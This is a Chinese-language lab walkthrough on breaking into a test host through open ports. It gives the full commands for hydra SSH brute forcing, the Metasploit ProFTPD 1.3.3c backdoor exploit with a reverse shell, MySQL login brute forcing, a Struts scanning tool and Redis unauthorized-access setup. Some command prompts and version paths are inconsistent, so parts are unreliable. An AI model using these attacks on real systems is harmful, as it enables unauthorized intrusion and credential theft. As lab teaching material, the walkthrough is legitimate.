常见的端口漏洞入侵主机

端口漏洞利用

当我们渗透一个网站时发现从网站渗透不进去的时候，就可以查看该网站主机开启了哪些端口，来从其开启的端口来进行入侵
一旦端口开放的话就可以从外部访问，操作系统都有或多或少的漏洞，特殊的请求或者指令触发之后就可以提升权限

实验环境

同一网段的两台主机：
入侵主机：kali
目标主机ip：192.168.31.69

使用kali和它本身自带的一些工具对受害主机进行入侵
先利用nmap对受害主机进行扫描查看其开启了哪些端口和服务

访问该ip发现80端口是一个phpinfo页面，无法利用80端口入侵

所以我们开始尝试从其他端口入侵该主机

22端口漏洞利用

发现其开启了22端口，22端口是SSH远程登录协议。最有可能利用的是弱口令的入侵。
使用kali自带hydra来进行暴力破解22端口
暴力破解ssh命令：

hydra -L /root/桌面/username.txt -P /root/桌面/password.txt -vV -o ssh.log -e ns -f 192.168.31.69 ssh

参数详解：
-L //暴力破解用户名字典
-P //暴力破解密码字典
-o ssh.log //输出到这个文件里
-vV //显示过程
-f //搜到账号密码就停止

经过一段时间的等待发现功夫不负有心人，还真破解出了22端口的登录账号密码

然后我们就可以使用破解出来的账号密码成功利用22端口远程登录主机并且发现是root权限

21端口漏洞利用

通过nmap扫描知道21端口开启的ftp版本是ProFTPD 1.3.3c，百度发现ProFTPD 1.3.3c有个后门命令执行漏洞

启动msfconsole

搜索ProFTPD 1.3.3c查看其漏洞模块

search ProFTPD 1.3.3c

切换到该漏洞模块下，并设置好目标ip

use exploit/unix/ftp/proftpd_133c_backdoor

set RHOSTS 192.168.31.69

run

成功反弹shell会话

3306端口漏洞利用

发现该主机还开启了3306端口，那么我们如何利用3306端口入侵目标主机呢？
3306端口是MySQL的默认端口，入侵者可以通过入侵3306端口来入侵我们的主机，在Metasploitable系统中，Mysql的身份认证存在漏洞，这个漏洞可以让攻击者不必提供正确的身份证书便可访问Mysql数据库
启动msfconsole

扫描mysql模块
msf5 > search mysql

选择MySQL可用模块，在模块中选择渗透工具模块进行攻击
这里我们切换到mysql扫描模块，设置模块有效选项
msf5 > use auxiliary/scanner/mysql/mysql_login

msf5 auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.31.69 #设置目标ip

txt5 auxiliary(scanner/mysql/mysql_login) > set USER_FILE /root/桌面/username.txt #设置用户名字典

txt5 auxiliary(scanner/mysql/mysql_login) > set PASS_FILE /root/桌面/password.txt #设置密码字典

msf5 auxiliary(scanner/mysql/mysql_login) > set STOP_ON_SUCCESS true #破解成功时停止

msf5 auxiliary(scanner/mysql/mysql_login) >run #开始爆破

成功爆破出MySQL用户名密码

利用爆破出的账号密码成功登录MySQL数据库

8080端口入侵

发现8080端口有一个网站Struts，百度发现Struts可以使用Struts Scan工具获得指定漏洞交互式shell

下载Struts Scan解压，并切换到struts-scan-master目录下
执行root@kali:~/桌面/struts-scan-master# python struts-scan.py
出现如下界面则安装成功

使用给出的指定漏洞交互shell执行payload
成功获得交互式shell

6379端口漏洞入侵

该主机还开启了6379端口，发现6379端口可以利用Redis未授权访问漏洞来入侵

在本地下载Redis并解压安装

wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar xzf redis-4.0.8.tar.gz
cd redis-3.2.0
make

修改配置文件，使可以远程访问
在bind 127.0.0.1前面加上#将其注释掉
把protected-mode后面的yes设为no

启动redis-server

./src/redis-server redis.conf     

如果报错执行下列命令

cd /root/redis-4.0.8/src 

然后连接redis发现成功连接